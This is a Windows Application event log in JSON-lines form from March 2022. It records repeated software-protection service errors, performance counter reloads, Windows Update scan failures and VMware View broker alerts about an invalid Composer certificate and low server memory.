{"@timestamp":1646908604734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:44Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167606}}
{"@timestamp":1646908619119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167607}}
{"@timestamp":1646908619231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167608}}
{"@timestamp":1646908634739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:14Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167609}}
{"@timestamp":1646908664742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:44Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167610}}
{"@timestamp":1646908694745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:14Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167611}}
{"@timestamp":1646908724748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:44Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167612}}
{"@timestamp":1646908746711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SVI_CERT_INVALID\nCertificate is invalid for Composer at address https://eng-viewcomp401.engineering-ac.de:18443\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tComposerId=https://eng-viewcomp401.engineering-ac.de:18443\n\tSeverity=ERROR\n\tTime=Thu Mar 10 11:39:06 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.desktopcontroller.PublishVcCertToSviFederatedTask\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":167613}}
{"@timestamp":1646908754751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:14Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167614}}
{"@timestamp":1646908784756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:44Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167615}}
{"@timestamp":1646908814760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:14Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167616}}
{"@timestamp":1646908844765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:44Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167617}}
{"@timestamp":1646908874768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:14Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167618}}
{"@timestamp":1646908904827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:44Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167619}}
{"@timestamp":1646908934878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:14Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167620}}
{"@timestamp":1646908964902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:44Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167621}}
{"@timestamp":1646908995038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167622}}
{"@timestamp":1646909025056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167623}}
{"@timestamp":1646909055062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167624}}
{"@timestamp":1646909085068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167625}}
{"@timestamp":1646909115092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167626}}
{"@timestamp":1646909145139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167627}}
{"@timestamp":1646909175156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167628}}
{"@timestamp":1646909205224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167629}}
{"@timestamp":1646909235289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167630}}
{"@timestamp":1646909265297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167631}}
{"@timestamp":1646909295304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167632}}
{"@timestamp":1646909325310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167633}}
{"@timestamp":1646909355316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167634}}
{"@timestamp":1646909385321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167635}}
{"@timestamp":1646909405307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 10 11:50:05 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":167636}}
{"@timestamp":1646909415327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167637}}
{"@timestamp":1646909445333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167638}}
{"@timestamp":1646909475339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167639}}
{"@timestamp":1646909505344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167640}}
{"@timestamp":1646909535349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167641}}
{"@timestamp":1646909565355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167642}}
{"@timestamp":1646909595360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:15Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167643}}
{"@timestamp":1646909625366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:45Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167644}}
{"@timestamp":1646909653267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","800b0109","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","6b7563df-a060-11ec-b81a-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167645}}
{"@timestamp":1646909668557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167646}}
{"@timestamp":1646909698564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167647}}
{"@timestamp":1646909728592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167648}}
{"@timestamp":1646909740269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","800b0109","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","9f5a2609-a060-11ec-b81a-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167649}}
{"@timestamp":1646909740300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","800b0109","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","9f5a260a-a060-11ec-b81a-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167650}}
{"@timestamp":1646909750798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","800b0109","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","a59cc48e-a060-11ec-b81a-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167651}}
{"@timestamp":1646909758659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167652}}
{"@timestamp":1646909788769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167653}}
{"@timestamp":1646909800509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167654}}
{"@timestamp":1646909800642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167655}}
{"@timestamp":1646909818799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167656}}
{"@timestamp":1646909825075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":167657}}
{"@timestamp":1646909848819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167658}}
{"@timestamp":1646909878834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167659}}
{"@timestamp":1646909908847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167660}}
{"@timestamp":1646909938857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167661}}
{"@timestamp":1646909968866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167662}}
{"@timestamp":1646909998877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167663}}
{"@timestamp":1646910028886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167664}}
{"@timestamp":1646910058894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167665}}
{"@timestamp":1646910088904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167666}}
{"@timestamp":1646910118913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167667}}
{"@timestamp":1646910148922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167668}}
{"@timestamp":1646910179032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167669}}
{"@timestamp":1646910209085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167670}}
{"@timestamp":1646910215905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","800b0109","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","badd43d0-a061-11ec-b81a-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167671}}
{"@timestamp":1646910239093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167672}}
{"@timestamp":1646910269103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167673}}
{"@timestamp":1646910299113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167674}}
{"@timestamp":1646910329124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167675}}
{"@timestamp":1646910359132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167676}}
{"@timestamp":1646910389141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167677}}
{"@timestamp":1646910419151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167678}}
{"@timestamp":1646910449208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167679}}
{"@timestamp":1646910479236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167680}}
{"@timestamp":1646910509308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167681}}
{"@timestamp":1646910539388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167682}}
{"@timestamp":1646910569455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167683}}
{"@timestamp":1646910599509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167684}}
{"@timestamp":1646910629555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167685}}
{"@timestamp":1646910659594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167686}}
{"@timestamp":1646910689627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167687}}
{"@timestamp":1646910719654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167688}}
{"@timestamp":1646910749678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167689}}
{"@timestamp":1646910779700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167690}}
{"@timestamp":1646910809717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167691}}
{"@timestamp":1646910839734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167692}}
{"@timestamp":1646910869750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167693}}
{"@timestamp":1646910899766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167694}}
{"@timestamp":1646910929780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167695}}
{"@timestamp":1646910959794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167696}}
{"@timestamp":1646910989808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167697}}
{"@timestamp":1646910996709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","8024401c","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","8c33d29d-a063-11ec-b81a-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167698}}
{"@timestamp":1646911019820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167699}}
{"@timestamp":1646911049832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167700}}
{"@timestamp":1646911079843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167701}}
{"@timestamp":1646911109855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167702}}
{"@timestamp":1646911139866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167703}}
{"@timestamp":1646911169879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167704}}
{"@timestamp":1646911199890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167705}}
